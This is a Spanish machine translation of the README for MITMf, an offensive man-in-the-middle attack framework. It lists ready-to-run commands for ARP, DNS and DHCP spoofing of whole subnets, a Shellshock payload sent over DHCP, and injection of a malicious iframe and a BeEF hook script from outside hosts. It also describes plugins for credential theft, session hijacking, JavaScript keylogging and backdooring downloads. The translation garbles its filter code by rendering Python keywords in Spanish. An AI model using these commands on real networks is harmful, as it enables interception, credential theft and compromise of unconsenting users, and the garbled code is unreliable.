Marco para ataques Man-In-The-Middle
Este proyecto ya no se actualiza. MITMf fue escrito para abordar la necesidad, en ese momento, de una herramienta moderna para realizar ataques Man-In-The-Middle. Desde entonces, se han creado muchas otras herramientas para llenar este espacio; probablemente debería utilizar Bettercap, ya que tiene muchas más funciones y está mejor mantenido.
Tutoriales rápidos, ejemplos y actualizaciones para desarrolladores en: https://byt3bl33d3r.github.io
Esta herramienta está basada en sergio-proxy y es un intento de revivir y actualizar el proyecto.
Contáctame en:
Gorjeo: @byt3bl33d3r
IRC en Freenode: #MITMf
Correo electrónico: [email protected]
Antes de enviar problemas, lea la sección correspondiente en la wiki.
Consulte la wiki para obtener instrucciones de instalación.
MITMf tiene como objetivo proporcionar una ventanilla única para ataques Man-In-The-Middle y de red mientras actualiza y mejora los ataques y técnicas existentes.
Originalmente creado para abordar las importantes deficiencias de otras herramientas (por ejemplo, Ettercap, Mallory), se ha reescrito casi por completo desde cero para proporcionar un marco modular y fácilmente ampliable que cualquiera puede utilizar para implementar su propio ataque MITM.
El marco contiene un servidor SMB, HTTP y DNS integrado que puede ser controlado y utilizado por varios complementos; también contiene una versión modificada del proxy SSLStrip que permite la modificación de HTTP y una omisión parcial de HSTS.
A partir de la versión 0.9.8, MITMf admite el filtrado y manipulación activos de paquetes (básicamente lo que hizo etterfilters, solo que mejor), permitiendo a los usuarios modificar cualquier tipo de tráfico o protocolo.
El archivo de configuración se puede editar sobre la marcha mientras se ejecuta MITMf, los cambios se transmitirán a través del marco: esto le permite modificar la configuración de complementos y servidores mientras realiza un ataque.
MITMf capturará FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (cadenas comunitarias), NTLMv1/v2 (todos los protocolos compatibles como HTTP, SMB, LDAP, etc.) y credenciales Kerberos utilizando Net-Creds, que se ejecuta en puesta en marcha.
La integración del respondedor permite el envenenamiento de LLMNR, NBT-NS y MDNS y la compatibilidad con servidores no autorizados WPAD.
¡Ahora puede modificar cualquier paquete/protocolo que sea interceptado por MITMf usando Scapy! (¡No más filtros de etter! ¡Sí!)
Por ejemplo, aquí hay un pequeño filtro estúpido que simplemente cambia la dirección IP de destino de los paquetes ICMP:
si paquete.haslayer(ICMP): log.info('¡Tengo un paquete ICMP!') paquete.dst = '192.168.1.0'
Utilice la variable packet
para acceder al paquete en un formato compatible con Scapy
Utilice la variable data
para acceder a los datos del paquete sin procesar
Ahora para usar el filtro todo lo que necesitamos hacer es: python mitmf.py -F ~/filter.py
Probablemente querrás combinar eso con el complemento Spoof para interceptar paquetes de otra persona;)
Nota : ¡puedes modificar los filtros sobre la marcha sin reiniciar MITMf!
El uso más básico inicia el proxy HTTP SMB, DNS, servidores HTTP y Net-Creds en la interfaz enp3s0:
python mitmf.py -i enp3s0
ARP envenena toda la subred con la puerta de enlace en 192.168.1.1 usando el complemento Spoof :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
Igual que el anterior + un servidor proxy WPAD fraudulento que utiliza el complemento Responder :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
Veneno ARP 192.168.1.16-45 y 192.168.0.1/24 con la puerta de enlace en 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Habilite la suplantación de DNS durante el envenenamiento de ARP (los dominios a falsificar se extraen del archivo de configuración):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Habilite la suplantación de LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Habilite la suplantación de DHCP (el grupo de IP y la subred se extraen del archivo de configuración):
python mitmf.py -i enp3s0 --spoof --dhcp
Lo mismo que arriba con una carga útil ShellShock que se ejecutará si algún cliente es vulnerable:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Inyecte un IFrame HTML usando el complemento Inject :
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Inyecte un script JS:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Inicie un portal cautivo que redirija todo a http://SERVIDOR/RUTA:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Inicie el portal cautivo en http://your-ip/portal.html usando la página predeterminada /portal.html (gracias al respondedor) y /CaptiveClient.exe (no incluido) desde la carpeta config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
Igual que el anterior, pero con el nombre de host captive.portal en lugar de IP (requiere que captive.portal resuelva su IP, por ejemplo, a través de una falsificación de DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Sirva un portal cautivo con una instancia adicional de SimpleHTTPServer que proporcione LOCALDIR en http://IP:8080 (cambie el puerto en mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
Igual que arriba pero con nombre de host:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
¡Y mucho, mucho más!
Por supuesto, puede mezclar y combinar casi cualquier complemento (por ejemplo, ARP spoof + inject + Responder, etc.)
Para obtener una lista completa de las opciones disponibles, simplemente ejecute python mitmf.py --help
HTA Drive-By : inyecta una notificación de actualización falsa y solicita a los clientes que descarguen una aplicación HTA
SMBTrap : explota la vulnerabilidad 'SMB Trap' en clientes conectados
ScreenShotter : utiliza HTML5 Canvas para representar una captura de pantalla precisa del navegador de un cliente.
Respondedor : envenenador LLMNR, NBT-NS, WPAD y MDNS
SSLstrip+ : omitir parcialmente HSTS
Spoof : redirige el tráfico mediante suplantación de ARP, ICMP, DHCP o DNS.
BeEFAutorun : ejecuta automáticamente los módulos BeEF según el sistema operativo o el tipo de navegador de un cliente.
AppCachePoison : realiza ataques de envenenamiento de caché de aplicaciones HTML5
Ferret-NG : secuestra de forma transparente las sesiones de los clientes
BrowserProfiler : intenta enumerar todos los complementos del navegador de los clientes conectados
FilePwn : ejecutables de puerta trasera enviados a través de HTTP utilizando Backdoor Factory y BDFProxy
Inyectar : inyecta contenido arbitrario en contenido HTML
BrowserSniper : realiza ataques no autorizados a clientes con complementos de navegador desactualizados
JSkeylogger : inyecta un keylogger Javascript en las páginas web de un cliente
Reemplazar : reemplazar contenido arbitrario en contenido HTML
SMBAuth : evoca intentos de autenticación de desafío-respuesta de SMB
Upsidedownternet : voltea imágenes 180 grados
Cautivo : crea un portal cautivo, redirigiendo solicitudes HTTP usando 302
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr